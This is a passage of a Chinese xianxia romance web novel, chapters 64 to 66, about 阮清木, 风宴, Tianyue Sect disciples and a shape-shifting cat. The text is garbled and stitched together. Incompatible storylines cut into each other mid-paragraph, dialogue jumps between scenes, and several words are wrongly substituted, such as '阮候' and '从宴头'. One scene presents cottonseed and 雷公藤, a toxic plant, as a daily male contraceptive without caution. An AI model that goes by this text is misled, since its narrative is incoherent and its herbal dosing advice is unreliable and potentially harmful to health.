这样的人为何跑到惠阳镇来,又为何偏偏到了那座山上? 几乎是同一时刻,阮清木的脑海中便浮现出先前信笺上的内容,风宴现在或许也在那座山上。 又或者,风宴正和那些不知底细的修士同处一片地方! 理论上说,惠阳镇更靠近妖魔宫,天月宗的人不常到这边来。但上次妖魔大战后,天华剑仙以一己之力斩杀妖皇和魔皇,并且封印妖魔之脉,妖魔宫的实力便大不如前。天月宗若是想要趁机扩张势力范围,好进一步将妖魔宫斩草除根,也不是全无可能。 若是这修士是妖魔宫的人,大抵也是来要她性命的。毕竟,无论是路生还有游彦,既然对她动了手,自然是要亲眼看见她的尸首才会放心。而若是天月宗的人,无论是何人,只要发觉她与妖魔宫有半点牵连,她也是吃不着什么好果子的。 总而言之,此地不宜久留。 她必须得走了。 阮清木自嘲地扬起唇角,她也是这几个月好日子过惯了,原先在龙潭虎穴中练出来的机警性竟也全部丢掉了。若是没有糖圆,她怕是死到临头才会开始后悔。 在性命之忧之前,阮清木已经无暇去考虑什么对风宴来说更好的万全之法。她只有先活下去,才能有时间去慢慢补偿风宴。 阮清木迅速检查了一遍储物袋,又准备去收拾其他东西,但拿起又放下,走了又走后,阮清木才意识到,她本是一身空空来到这里,自然什么也不该带走。 可惜了。 那些还未穿过的衣裳,还未尝过的糕点,还未用过的胭脂…… 以及,还未告别过的风宴。 阮清木低头看了眼糖圆,还是决定将它带上,糖圆并非凡物,留在风宴身边或许只会给他带来祸害。离开前,阮清木最后回身扫了一眼这间屋子,在心中轻声说了句—— 再见了。 此时此刻,风宴一边往回走,一边默默在心里盘算着阮糖大概会睡醒的时间。她今早胃口不好,中饭得准备些酸辣开胃的。这个季节温度不高,最好赶着她刚醒的时候做好,如此一来,饭食的滋味才会更好。 毕竟,冷过再热的饭到底没有新鲜出炉的味道好。 思及此,风宴暗暗加快了步伐。 嘈乱之中,林不语听见前方传来的声音,便立马运转灵力,在自己与外界中隔出一道极小的屏障。他飞快挪动步伐,闪现到徐津身边,与他对了个眼神。 与此同时,形状大小不一的石头从山头滚下,像是被人抛掷而下,从宴处看,简直像是一股裹挟着黄色泥沙的洪流。 徐津不假思索道:“山下还有人,先护住他们。” “是。”在他们走后,阮清木才敢显露出身形,迎着那洪流而上。原来今日在山上的是天月宗的人,在这样的灾害之下,他们不会坐视不理。这二人灵力修为都不差,应当能护住这附近的凡人。 不过保险起见,她还是将山头上的源头阻断才好。 阮清木这样想着,便要一路前行,却见身边的糖圆又发了疯似的往前冲,蹿过一处小道,几下便没了身影。山中,巨石滚落的声音连绵不绝,不断冲击着阮清木的耳膜。 然冥冥之中,阮清木似乎听见了糖圆的叫喊声。 阮清木加快步伐,紧跟上去,糖圆跑的极快,她使出灵力后才能牢牢地将它的位置锁定住。跑了一路,糖圆才停下,回过头,不紧不慢地朝她喵了一声。 而就在那一瞬,阮清木惊恐地发现,糖圆的身形在膨胀,像是发酵中的面团,不断向外扩张。而突然冒出的一点红色竟然从那双琥珀色的瞳孔中心处扩散出去,最后吞噬掉了所有琥珀色。 第 64 章 第 64 章 阮清木站在那里,望着糖圆眼中的血红色,就像是望见了鲜血。 她颤抖着,一种毛骨悚然的感觉直冲心头,后悔与恐惧交融在一起,几乎也要将她淹没。 阮清木想,她不该随便跟上来的,更不该因着糖圆娇小可爱的外形便对它放下戒心,那些妖族中人不是向来最会化形骗人了吗? 她真蠢。此刻,惠阳镇上。风宴在万春堂等了一会,最后掌柜还是取了些草药,用油纸包起来,递到他手边。 “这里边都是些棉花籽和雷公藤,你一日服用一包即可,不要过多。”掌柜望着他,“约莫两月,便可再无生育的后顾之忧,届时便可停药看看效果了。若是还不够,你便再过来取药。” 风宴微微颔首,向掌柜道了声谢,付了银钱,便提起药包往外走。风宴路过万春堂门口的时候,林不语趁机就近观察了他一番。 横看竖看,林不语在风宴的身上是没有看到一点魔气。 观察完毕,林不语正准备扭头再请教一下徐津,毕竟他入门晚,资质又比不过徐师兄,说不定真是哪里看漏了。然而,徐津似乎完全没有察觉到他殷切的目光,只一抿唇,便迅速挪动脚步,不近不宴地跟着风宴走了。见状,林不语也只能跟上。 于是,在短短半个时辰内,林不语和徐津跟着风宴走了好几个地方。先是卖蜜饯果脯的宁香阁,再是专门卖酒的宁风酒楼,后是专供女子胭脂水粉和衣裳的绣花阁,最后风宴还在集市里的一些小摊贩那里买了些新鲜果蔬。 这一路下来,风宴可谓是满载而归,林不语倒是什么端倪也没看出来,徐津也是。 除了一开始天华剑残魂的异动,直到现在,徐津也没有找到其他可以证明此人就是天华剑命定之人的证据。 难道天华剑的剑魂出错了? 徐津拧起眉头,细细思考了一番,又抬眼朝风宴的方向望去,顿时心下一动,即刻追了上去。林不语望着他匆匆的身影,大为震惊,这、这就要对人家动手了?! 风宴才走几步,便被两人拦下,脸上并无明显的喜怒。徐津朝他行了个礼,沉声道:“贸然打扰,望您不要介意。我和师弟是天月宗门下弟子,奉师父之命来护佑惠阳镇,听闻前几日镇上的一座山有异动,不知可否请您为我们指个路?” 风宴扫视了眼徐津和林不语,沉默了一会,才点头同意:“不算打扰,我可直接为你们带路。” “那便多谢您了。”徐津轻轻呼出一口气,他还是想再试几次,毕竟那可是天华剑残魂的第一次异动,大约还是难以出错的。 摸不清头脑的林不语只能跟紧两人,一路随着风宴到了几座院子附近才停下脚步。 风宴转过身,淡淡道:“再往前走,便能看见山了。你们若是不着急,等我放下这些物件,可将你们带到山脚下。” 徐津自然不会拒绝,他努力扬起唇角,尽管那弧度微不可见,但还是勉强地笑着道:“不着急,我们二人就在这等江兄。” 风宴走后,林不语才敢再次凑过去,询问徐津:“师兄,这人可有什么古怪之处?” 徐津摇摇头,一是本就无法向林不语道明此次下山的真实意图,二是他也处于猜测之中,不敢肯定。 到了家,风宴先将东西放下,才轻轻打开卧房的门,阮清木躺在床上,似是睡得正熟。风宴不愿打扰,只写了张信笺,放在桌边,便往外走。 没过一会儿,徐津和林不语便在风宴的指引下,朝着山脚的方向走去。一路上,徐津总是绞尽脑汁,想方设法地和风宴聊天,试图多了解一下这位疑似下一任天华剑持剑人的风宴。只是,他的说话技巧实在太烂,每次都是直来直去,最后还是林不语出马,才将原本审问式的聊天拉回到了正道。 林不语注意到,每次提到家中妻子的时候,风宴的脸上总是浮现出淡淡的笑意。再结合在万春堂看到的,林不语可以一拍胸脯,百分之一百地肯定—— 这人肯定与妻子感情深厚。 聊天嘛,想从对方嘴里套取信息,得先从对方喜欢的话题入手,让其放松警惕,再进一步聊到其他地方。于是,一路上,林不语开始大展身手,从院落的摆设夸到风宴的贴心,力求每一字每一句都恭维到实处,就差没直说—— 你都愿意为你妻子吃那种药,你们感情肯定特别好! 几套组合拳打下来,三个人之间的气氛确实融洽了许多,但林不语发现,风宴在谈及他妻子的时候总是一笔带过,他似乎并不想向他们透露太多有关自己妻子的事情。 或许,这叫做占有欲?夜色沉沉罩下,勾勒出风宴苍白清绝的侧颜轮廓,每一寸线条,都仿佛浸透了难以消融的苦涩。 他倏地闭上双眼,浓密的睫毛剧烈地颤抖着,隔绝了眼底翻涌的、复杂到了极致的情绪。 有恨,有怨,有痛,也有连他自己都说不清的……孤寂。 指节因用力而发出“咯咯”的轻响,随即又像是耗尽了所有气力般寸寸松开,最终无力地覆在了紧闭的眼睑之上。 指缝间,呼吸变得沉滞而压抑,如同被无形的巨石碾过胸膛。 可她终究是背弃了他。 这个认知,比方才的梦魇更甚,让他浑身生冷。 如若从未打算真正履诺,又何必在他面前,编造出那样一个……让他难以忘怀的谎言? 后来每一次,当那幕景象在记忆深处浮现,非但不能带来丝毫慰藉,反而如同攥紧了一把淬毒的钝刃,带来更深、更甚百倍的酸涩与灼痛。 他不愿去回想,却亦无法彻底遗忘,只能一次次地任由那破碎的誓言反复凌迟着他所剩无几的尊严,以及那一点点…… 曾以为握紧了的暖意。 阮清木。 你知不知道……我有多么恨你? “怎么回事?” 风宴脸上的平静轰然碎裂,眼底迸发出难以遏制的震怒:“是谁做的?!” 他分明记得,曾经、曾经…… 阮清木为了讨他欢喜,特意将这里栽满了一片扶桑花。 魔界之内,又是谁如此不知死活,竟敢擅自将其毁去! “君……君上息怒!” 在风宴冷厉出声的一瞬,桑琅已然跪下,声音因为急迫而微微拔高:“并非他人擅动,是……是阮护法!一年前,她亲自烧尽了所有的扶桑,种下了……七叶兰。” 风宴身体一僵,瞳孔急剧收缩,掐住对方脖颈的手指失控般再度收紧! 正合他意? 眼前男子的面容骤然模糊、褪色,无数纷乱破碎的画面袭上,带着积年的屈辱与妒火,将他彻底吞没—— “看到阿木……只会让您觉得厌恶。” “她若识趣,不回来……岂非……正合您意?” 裴珏冰冷带刺的话语再次于脑中轰鸣,与眼前满目尘埃重合,碾出种深入骨髓的哀寂。 风宴怔怔地环顾四周,试图在这片死寂中捕捉一丝属于那人的气息。 然而,什么都没有。 他如同一个失去灵魂的木偶,缓缓移动脚步,指尖无意识地划过桌面,指腹瞬间沾满了灰白,留下两道清晰的长痕。 目光掠过靠墙书架,几册蒙尘的杂记零散摆放——那是阮清木闲暇阮翻看的,他曾嗤之以鼻,却总在忍不住抬眸阮,瞥见她专注的侧脸。 视线倏地定格于软榻角落。 那里,随意地叠放着两身红黑相间的劲装,布料依旧挺括,色泽却早已黯淡,显然放置了多年。 而这一幕,也在明晃晃地告诉他,从这里离去阮,她什么都没带走。 也……再未重返过。 风宴依旧死死攥着那张纸,身体如同被钉在了原地,微微战栗着。 曾被刻意尘封、却日夜灼心的那段往事,伴随着眼前泛黄的纸再度铺展,瞬间淹没了他。 他的父亲,风沉。 风宴怔怔地望着眼前熟悉到刻入骨髓的身影,紧绷欲断的心弦骤然一松,几乎脱力。 是她,她来了……他就知道! 她不会抛下他,如往日千百次那般,永远会在他最危急的阮候出现…… 又如何呢? 他不在意真相是否残酷,不在意她是否真的曾起过杀心,甚至可以……亲手将命给她。 他只想听她亲口说,用一句明明白白的话语,斩断这日夜折磨的猜疑,仅此而已。 这样,也不行吗? 就连这点微末的渴盼,她都吝于给予。 她回避的姿态是如此明显,总在刹那间敛去所有可能泄露的情绪,或干脆缄默垂睫,如同在二人之间,无声筑起一道永难逾越的高墙。 阮清木的残魂悄然停驻于榻畔。 将风宴颤抖的身影收入眼底,她面容上却不见半分动容或快慰,仿佛只是一个静默的过客。 不过……还是生出了些不一样的情绪的。 她扯了扯唇,有些奇异地想——风宴,你竟也打算……原谅我了吗? 如果没有这抹不入轮回的魂识,或许,我永远也无法听闻你的这一句话。 哦……其实也没有什么区别了。 毕竟她是回不来的,而就算可以回来……在她决意启程取淬元丹的阮候,就已经不打算再留在魔界。 她素来最厌朝令夕改,自然也不会主动做出这等事。 正思及此,忽然,阮清木觉出眼前景象极轻地一晃,似水波微漾。 她微微一怔,下意识地抬手,指尖轻轻揉了揉自己的额心。 怎么……? 一丝极其细微的疑惑浮起。 难道风宴对她的影响仍如此深重?抑或她的执念其实并未全然消散?人都死了,竟还会因他而觉出……不适么? 这念头令她不自觉地微蹙眉心,不甚愉悦地轻啧一声,却旋即察觉了抹异样。 阮清木缓缓抬起手,将掌心对向清冷的月辉。 随后,她清晰地看到,她的指节不再是那种凝实的苍白,而似乎……变得更加透明了,边缘处甚至泛起些许仿佛融于月色的微芒。 她微微偏首,极轻地挑了挑眉梢。 总听人说肤若凝脂,如今这世上,怕是没人能比她更“白”了。 阮清木轻轻笑了笑,而后自然地放下手,倚靠着冰冷的床柱,不以为意地打了个哈欠,缓缓阖上了眼帘。 月光无声地流淌,将榻上蜷缩的身影与阖目凝然的残魂,一同笼入沉沉的暗影里。 “阮清木,你真的……不管我了吗?” “心头血。” 林不语挠挠脑袋,这确实涉及到了他的知识盲区,毕竟他们宗门里的人都爱剑如命,几乎就是抱着自己的剑过一辈子,不像那些修习合欢功法的人一样天天与情爱打交道。 到了山脚,风宴婉拒了徐津进一步的邀请,徐津也只能带着林不语上山,进行巡查。 毕竟,这座山上之前的动静确实不正常,而且疑似与天华剑有关的风宴便住在附近。无论如此,徐津都得好好查一查。 想到这里,徐津垂下眼,摸出袖中的通讯玉简,飞快地掐了个法决,给他的师父,当今天月宗掌门黎清越传去消息。 趁着喝茶歇息的空隙,林不语碰了碰身边人的手肘,压低声音问道:“徐师兄,我看这个镇子就是平平无奇的样子,长老他们为何要让你我下山,特意走这一遭啊?” 徐津放下茶杯,望着眼前来来往往的人群,沉声道:“长老有令,你我只管执行便是。” 听到徐津的回答,林不语撇了撇嘴角,明显对这个回答并不满意。他思量了会,还是挑起眉头,再次询问:“难道和妖魔宫那边有关?毕竟这惠阳镇除了和原先那……地方有点近,也没别的特别之处了。” 徐津倏然转头,淡淡地看他一眼,林不语顿时瞪大眼睛,直挥手:“啊,徐师兄你别这样看我啊!我可什么都没做,就是无意间听到宗门里的师兄师姐说到那件事,这才有点印象,其他的我可就什么都不知道了。” “是吗?”徐津垂下眼,不冷不热地问着,“不少弟子都说你是我们天月宗的百事通,怎么可能只知道这些?” 林不语暗道不妙,只能陪着笑说:“师兄,你这可冤枉我了,我就算是百事通,那不还有百事之外的千事、万事都不通吗?” 徐津也不再纠结于这个话题,毕竟那事被林不语知道也无碍,他原本也只是想试试林不语到底还知道点什么。现在看来,师父估计只把天华剑仙的事情说与他一人听了。 徐津拿起剑,起身:“我看你也休息够了,便继续往前走吧。” 林不语一口气卡在那里,不上不下,他只能迅速喝完那一杯茶,便随着徐津起身,老老实实地跟在他身边:“是,都听徐师兄的。” 怪不得总有人怀疑徐津是掌门的私生子,这两人性子都一模一样,一样的不近人情,一样的面瘫冰块。 林不语正在心中暗暗吐槽,却见徐津倏地停下脚步,快步往一旁的店铺走去,林不语也只能收了神,紧跟过去。到了门口,他抬头一看,才发现是个药铺,叫万春堂。 药铺里面,掌柜的似乎在和一名男子说些什么,面色有点诡异。林不语跟着徐津走过去,凑得近了些,才听得更为真切。 “这……我们店里往常都是卖女子用的麝香还有藏红花,从我们男子这边入手避免生育的,我这做了十几年生意也是头一次听说,您得容我去问问医师那边。” “嗯,那就有劳您了。”不用多想,阮清木便知道他在说笑,游彦有多恨父亲,便有多恨这血缘亲情。他就算想要个继承人,也不会是与她一起的。 见阮清木面无表情,游彦才一哼笑,重新走到她身边,居高临下道,声音也恢复了从前的冰冷:“我要天月宗的秘宝。” 掌柜攥着衣袖,身体微微倾向男子,刻意压低声音:“不劳烦,不劳烦,就是,我看您这也是相貌堂堂,一表人才,有什么想不开非要用这些药呢?是药三分毒,一个不好,以后说难听点,断子绝孙怎么办?” 断子绝孙?!好友才说完,男子便气呼呼地警告他:“仙人的名讳岂容你直呼?!” 好友反驳那只是仙人凡间的化名,他这样做并不算冒犯,但男子愣是不信,两个人就此争执起来。中途,两人停下来,准备喝口茶润润嗓,却见一旁的女子已经久久未有动静。 而此时的阮清木也没注意到他们的目光,她全身心的注意力都放在一件事上—— 风宴他竟然入了天月宗。 林不语瞬间看向那名男子,掌柜所言不假,那男子确实相貌堂堂,不说凡间,就是修士之中也是出众的。但这样的男子,年纪轻轻,就想着断子绝孙了? 他们修士因着修炼的缘故难以生育,只能被迫“断子绝孙”,那男子倒好,竟然要主动断子绝孙? 林不语乐了,要不是顾忌着一旁的徐津,早就要拍手笑哈哈了。但一看到徐津严肃异常的脸色,他便心头一动,循着目光追过去,只看见那男子。 而一向八风不动的徐津竟然皱起眉头,仿佛如临大敌。 林不语咧起嘴角,忍不住扯了扯徐津的衣袖,小声嘟囔着:“师兄,那人都要主动断子绝孙了,就算是什么祸害,也为害不了多久,您也不必如此……” 他就差没直说:“师兄,你行行好,人家都要断子绝孙了,你就让让他吧。” 这边林不语还在思考着措辞,徐津却是一个字也没听进去。 下山之前,师父给了他一抹天华剑的剑灵残魂,若是遇到天华剑的命定之人,他就能感应到。而现在,徐津的识海中有了异动,异动的缘由便是眼前的那名男子。 一种猜测自然而然地跃上心头—— 阮清木深吸一口气,试图让自己冷静下来,趁着糖圆还没动静,她迅速观察了一下周遭的环境。这里很是僻静,甚至连外边巨石砸地的声音都不见了。 荒草丛生,高大而密集的树几乎将所有天光遮挡,重新织就了一块只有暗色的天幕。 阮清木的一颗心彻底坠入谷底,这里必定不是平凡之地。 几瞬之间,糖圆便从一只猫化成了庞然大物,它站在那里,像是前来觅食的虎兽,让人心颤。只是,化形之后,它迟迟没有向阮清木发难,而是慢条斯理地背过身,一步一步地走向被荒草彻底攀附掩盖的地方。 站定后,它伸出爪子,嘭嘭嘭地敲击了几下,好几层黄土和草屑便哗啦哗啦地掉下来。几下之后,阮清木便看见在那荒草之中,一扇门渐渐显露了出来。 门?!视野自混沌的黑暗中再度凝聚,映入眼帘的,再非空荡死寂的荒野,而是阮清木无比熟悉的景象—— 千年沉水香的气息沉凝厚重,宁神之余,又隐隐透着一丝不容亵渎的威压。 阮清木怔然一瞬,目光在这片沉肃的殿宇中逡巡半周,最终悬停于一隅—— 玄墨寒玉书案之后,堆积如山的玉简卷宗在烛火下泛着冷寂幽光。 一道身影端坐其间。 年轻的魔君依旧是她熟悉的玄色宽袍,天蚕丝织就的衣料在幽明珠光下流淌着冷硬而内敛的华泽,肩线疏朗,勾勒出不怒自威的清贵轮廓。 他正微微垂首翻阅玉简,执笔的手指修长有力,骨节分明,在墨玉的映衬下更显冷白。 泼墨般的长发以玉冠束起,又自肩后如瀑倾泻,几缕碎发垂落额前,衬得他的侧脸轮廓愈发昳丽分明,宛如冷玉凝就。 阮清木静静凝视着眼前的男子,许久,一丝无奈的、近乎荒谬的笑意,悄然攀上唇畔。 死都死了,怎么偏生又给扯回这地方来了? 这算是哪门子的……阴魂不散? 阮清木来不及思考,便见糖圆又转过身,像往常请求吃食时招呼她一样,轻轻地挥了几下爪子。只是,在见过那爪子的威力之后,阮清木便很难将这样的动作解释为简单的示好了。 阮清木站在那里,双腿如同钉在地面,沉的发昏。见阮清木迟迟不动,糖圆微微眯起眼睛,眼里的血色在翻涌着,似乎在酝酿着一场风暴。 下一瞬,它缓缓开口,落下的却是童稚般的甜腻声音:“娘亲快来,糖圆带你看个好东西!” 于是,林不语和徐津先施了个法决,稳住山上的局势,尔后御剑而下,直直地奔向山边的院落。 第 65 章 第 65 章 风宴长身立在院中,侧头看了那小蝶一眼,它便跌跌撞撞着飞了过来,月光下,倏地幻做一个粉衣少年模样,规规矩矩跪在了风宴身前,“师祖,真的是你,你怎么会在这里?!” 连模样都变了。风宴的眼里略过一丝茫然。 阮清木倏地笑出声,很快把手抽出来,又没什么好气地打了一下他手背,“腿,放开。” 他却反手把阮清木拽下去,这下实打实跌在他身上,两人挤在一张摇椅里,因为阮清木下意识挣扎的动作,木椅吱呀吱呀发出点不堪重负的动静。 阮清木只扑腾两下就没动了,因为这声音听得人有点臊,就这么缩在风宴身上,两手抵着他的肩头瞪他。 她依旧一本正经,“虎子,我说得是真的。我觉得方大…不对劲呢,他是你引荐去的,万一之后出了什么事情,你也会被他连累吧。” 风宴没吱声,只是抿着嘴唇望她。 他并不为自己的劝言所触动,甚至眼皮都没眨一下。 大概心里已经有了计较,但是并不想告诉她。 阮清木用了点力气想站起来,没料到手一滑,人就直直砸下去,唇瓣擦过他的下巴,脸一热,他已很快地贴了上来。 落下来的吻,像是有形状的风。 他的体温很高,灼热到像能把人烫着。 双手拢着,他把阮清木抱在怀里,顺手又调了下她的姿势,就这么抱着亲了一会儿,察觉到她有些僵硬,又伸手摸了摸她的后脑。 分开的间隙,风宴蹭了蹭她的脸,还是不满意,“他是大哥,我是虎子?” 阮清木没回声。 她的脸很红,不去看风宴的眼睛,两只手都没地方放,只好抓着他身侧的衣服。 成亲的时候,风宴就坦言自己不能人道。 虽然他长得……挺貌美迷人,像是建模成了精的那种纸片人,很对阮清木的胃口,但他们从没主动这样亲密过。 最多拉拉小手,情到自然处也会贴一下,那更像是两个小猫表达亲昵的小动作。 刚好他是虎子。 阮清木哼两声,嘴巴还是湿润的,又逗了他一声,“虎子。” 虎子有点小心眼,上次跟一个小熊猫比待遇,现在又对个没什么来往的村民竞上了。 风宴叹口气,虎口卡着她的后颈压到自己身上,重又吻上去,这次有点重了,舌尖很快撬开她的牙关,浑身都跟她贴得很紧。 阮清木无意识攀着他的脖颈,没骨头一样倒在他身上,摇椅因为他们的动作重新吱呀起来,但是谁都没管。 亲得迷糊之际,阮清木指甲刮了刮风宴的掌心,被他整个反手包住,她想说要不然歇一下,但他还是不放开,直到门外响起了极重的脚步声。 “嚯!”楚意自己反被吓了一跳,一连往后退了两三步,嘀咕出声,“这大白天的……” 也不关门。 阮清木尴尬着马上跳下来,看眼衣衫略凌乱、嘴唇跟下巴都泛着暧昧水渍的风宴,想着自己可能也是一样,便只隔着院墙,问那个已经退到台阶下的人,“你有事吗?” “我是外地的,要来这边住一阵子。”楚意高声回答,“问问小娘子,这附近有空房子吗?” 阮清木好奇,“那你就一个人吗?” “昂。” 说到空房子,他们家后面就有两间茅草屋,破破烂烂的一直没拆,但还能住人。 如果能租出去,有份收入倒是还不错。 “没有。”风宴理一理自己衣服,揽着阮清木的肩膀要带她回屋,撂下一句,“你到别处找去。” 没什么好声气。 楚意急了,三两步又蹿进院子里,“我都打听过了,你家后面有两间空屋子,我有钱,还有灵石,干嘛不租给我!” “怕我打扰你们亲嘴儿啊?”她打量着风宴不悦表情,亦是皱眉,“那你们以后把院门关好不就得了,我来之前会敲门的。” 阮清木:…… “你是修士吗?”她好奇着问道:“我看你背着一把剑。” “对啊。我是个散修。”楚意把话模糊过去,下巴一扬,倒是知道客气着问风宴,“我听说你也是个修士?不过你身上灵力稀薄,没半点天分,练到死了估计连个低微术法都使不出来。了不起就增点寿命,在这世上赖活个几年。” 阮清木目瞪口呆,慢慢地说:“……那,看来你的修为,嗯,很高深。” 要不然早被人砍死了。 楚意听了这话倒是很高兴,打量了阮清木两眼,“你这资质比他更不如,眼睛倒是不瞎。” 随后她的画风一转,开始自谦:“我的修为也没那么高深,起码比不上我师祖,但也还过得去。若是跟我当邻居,没事还能指点你男人几下,比他自己埋头苦练来得强。怎么样,还要拒绝我吗?” 口说无凭,楚意嘴里忽而喝然出声,做势要拔出肩后的那把剑比划比划,冷不丁却被风宴一掌把剑推了回去。 她的动作很花里胡哨,风宴却只动了一下,有点像是耍猴。 阮清木没敢笑,怕这缺心眼的女修生起气来要打架。 “你可以住下,不要你赁金。”风宴淡淡将她推得离阮清木远了些,“但是有时我不在家,劳你帮忙照看我夫人,届时我会提前跟你说一声。” 阮清木吃惊地看一眼风宴,听他继续面无表情地说,“她性子软,容易受欺负。明白吗?” 不像是商量,而是命令的口吻,却并不咄咄逼人。 紫英仙君每次有事情交代她去做时,便总会问上一句是不是明白了,楚意觉得不服气,因为知道那是师祖嫌她愚蠢。 她下意识答了一声,“明白!” 说完才反应过来不对,但风宴却已面无表情着将她整个人推了出去,再把大门拍上,回身不耐烦地啧了一声。 恶犬养起来了。 但他此时却觉着烦,因为知道这狗很能闹腾,平时闹腾几下也就算了,眼下在阮清木附近,往后定然就会缠着她。 这么一想,风宴就有要把楚意踢回去的冲动。 “最近是要发生什么事情了吗?”阮清木忧心忡忡地看着他,“为什么要人保护我。” 很难见到风宴这样带着点忧虑的盘算表情,阮清木不禁有种风雨欲来的预感。 风宴略略一想,“有事。” 阮清木眉眼间也被染上了点忧虑,被男人抓着手牵过去,望着他亲下来的时候,眼睛还睁得大大的。 然后被他轻轻拂上。 今夜要下雷暴雨。 夏日衣衫薄,阮清木的睡衣是自己改了短袖小衫,要睡之前,还是去了对面风宴的卧房。 两人睡觉是分开的,风宴平时就在书房睡,他们从来不睡一起。 风宴的屋里还点着灯,房间内盈满了暴风雨的土腥气。 他抬头,看着阮清木自如走过来,眼里并没什么情绪,只是很自然地往旁边挪了挪,给阮清木让出一块地方。 阮清木却并不是要睡他的床,她说得较为纠结,“这么大的雨,咱们后面那两间茅草屋一定会漏,我还有点怕它塌了。” 两间茅草屋,里头只有最简陋的家具,好像连个蜡烛都没有。 虽然对方是修士,毕竟也是个女孩子。 阮清木站在床前,一手搭上风宴的肩头晃了晃,是个示好的动作,语气也很软,“要不然让她先过来跟我睡一晚?你都同意她住在我们附近了,她应该也不是什么坏人。” 只是有点缺心眼,说话不中听而已。 但阮清木心大,横竖不在意。 风宴却反问,“你只见了她一面,就想跟她一起睡?” 他语气古怪,还要再问,已经被阮清木没好气地锤了下肩。 吃飞醋也要有点分寸。 风宴倒也不是乱吃醋,但阮清木魅魔体质,其实他有些拿不准她的想法。 目前看下来,阮清木其实跟常人并无分别,也不是事事都往淫邪上想,一昧要取人的阳元阴。精。 只是现在,风宴觉着不高兴了。 他皱眉又说,“你还为她打我?” 此时,窗户外头有个不耐烦的声音,“你们两个别再打情骂俏了。” 说着,楚意招呼一声,“那我进来了啊,嘿嘿。” 阮清木吓了一跳,风宴也一并站起来,随手为她披上件毯子,两人去了主屋。 楚意已经进来了,她浑身都是泥水,头上还有凌乱的稻草,语气很是坦然,“你们那房子塌了,我敲院门没人应,就先翻墙进来,刚好听见你想跟我睡,那太好了啊。” 风宴语气里有了几分戾气:“滚出去。” 这话却把阮清木吓了一跳,连忙抓着风宴的手安抚着拍了拍,怕那女修生气,语气很好的说,“那我先带你去洗个澡吧。” 楚意这才发觉自己的泥巴脚印把人的屋子弄脏了,她说了声好吧,又退回屋外,淋着大雨也不在意。 “你管她干嘛?”风宴的手还被阮清木紧紧抓着,不耐烦,“她自己不会找地方躲雨?” “小点声啊你。”阮清木低声道:“她租了我们的房子,那房子却塌了,她又没地方去,我们当然要管啦。” 还好没有伤到这个人。 风宴嗤一声,“让她在厨房里柴堆躺一晚便是,不许她进来。” 楚意原本就是打算找个能躲雨的地方随便凑合一晚,厨房不是不行,但有香香软软的床能睡,谁还愿意躺干草里打滚? 她当即在雨里高声嚷嚷:“你这男人心眼怎么那么小?啰啰嗦嗦,小心以后媳妇跑了。” 风宴竟然被她说得反生出一线笑,脸色却比外头的风雨更为阴郁,阮清木连忙强行把他推回了书房里,“你快睡觉吧,明天还有事。今晚你不要出来了,我要带人家去洗澡。” “小声些。”风宴皱眉,“别吵着她。” “师祖?”少年难以置信,目露杀意,“我追探了这只魅魔大半年,您既然早知道她苟活于此……” 说到后半句,少年倏地失声,呜哇着半天却不能发出一个字来,他着急着站直身子比划,然而风宴不为所动,只得悻悻着闭上嘴。 风宴面无表情,“叫你小声些。” 他在院子里石凳上坐下,“你给她下毒了?” 那指腹上的赤色小痣,实则是花梵的热毒入体。阮清木她不知道,错以为是针扎的伤口,又拿给他看,大约是存了点撒娇的意思。 这只魅魔并不算聪明,然而有时也让人难以捉摸。 她高兴时便笑,还要反复说给他一起笑。偶尔难过,却偷偷藏起来不让他知道。 今日,这魅魔受了小伤便拿给他看,叫疼叫苦不迭。但上个月,她不慎从宴头跌落,腰腹间青紫了一大片,却并不声张,被他发现之后,还反嘴硬说自己不疼。 花梵不能出声,只重重点头,把头快甩断了,师祖却还是出神。 过了会儿,风宴才解了他的禁语咒,“你的热毒无解,发作起来又是天下独一份的煎熬,何以对她憎恶至此。” 花梵咬牙:“魔道害得我父亲惨死,我恨不得将她千刀万剐。” 风宴问道,“是她害死你父?” 第 66 章 第 66 章 天月宗。 收到徐津传来的消息时,黎清越正与其他长老在庭中阁议事,无非便是与妖魔宫的那点事情。 待到人散了,黎清越才一敛眉,往外走。 如果徐津所说不假,在惠阳镇的时候天华剑的残魂有了异动,那下一任持剑人必定就在惠阳镇附近,他得亲自去看看。 假如真的找到了……路生双眼紧紧盯着阮清木看,恍惚之间,阮清木甚至看见了他身后若隐若现的尾巴。一般来说,只有情绪非常激动或者需要本体战斗的时候,妖族的人才会显现出本体的特征来。 为了不再生事端,也为了不再继续和路生浪费时间,阮清木假装动摇,她说:“……让我想想,好吗?” 路生忙不迭道:“好!只要你愿意原谅我,我做什么都可以。” “嗯。” 阮清木正想着如何找个合理的借口甩掉他,又听路生忽而道:“这是我的护心鳞片,给你。” 他递过来一块金灿灿的鳞片,尾部还带着黑金色的细纹。 她低着头,心绪万千。如果说之前是假意动摇,那么现在阮清木是真的有些迷茫了。路生的本体是龙,如果这真的是护心鳞片,那路生对她示好的诚意简直无法言喻。 阮清木哽了哽,半天只吐出几个字:“……这太贵重了,我不能收。” 路生却不由分说地直接将那块鳞片塞到她手中,沉甸甸的鳞片放在阮清木的手心,莫名烫手。她动了动唇,路生却抢在她之前开口:“上次是我没有保护好你,所以请你务必收下这片护心鳞。” 阮清木的眼睫颤了颤,她轻声说:“……多谢。” 现在神魂有损的她确实需要这份礼物。阮清木瞪大双眼,全身都紧紧绷住,不敢放松分毫。那剑来的又猛又快,阮清木费了好一番功夫,与其在半空中来回周旋了几次,才堪堪躲过。 站定脚跟后,阮清木一边喘气,一边看见那柄剑飞回到了一个人手中。再定睛一看,阮清木看见了再熟悉不过的那张脸。 又是风宴。 该说她不愧是乌鸦嘴吗? 之前刚想到再次见面,风宴或许会杀了她。下一瞬,风宴的剑果然朝着她刺过来,险些就要伤到她。 阮清木自觉讽刺,目光却扫视了风宴一圈。离得近了,阮清木看得更为清楚和仔细,他果然又高了许多,人也瘦得不像话。衣服穿在他身上,就像是挂在一副骷髅架子上,让人惧怕。但一配上风宴的脸,观感又变好不少。 难道天月宗都不给弟子吃饭的吗? 阮清木轻蹙眉头,却对上了风宴冰冷的一双眼。他冷飕飕地望着她,这种眼神让阮清木感到无比陌生,她鼻头一酸,委屈极了,却又马上收起自己的小情绪,严阵以待,不敢松懈半分。 在阮清木观察风宴的时候,他也在看她。 意料之中的,一张与阮糖有些相像的脸。 那些妖魔难道就想不出新花样了吗? 自从被他们拿到阮糖的画像,风宴的身边就总是会时不时出现一些与阮糖相像的女人。但风宴知道,那些人都不是阮糖,真正的阮糖在他的洞府中沉睡,等着有一天被他唤醒。 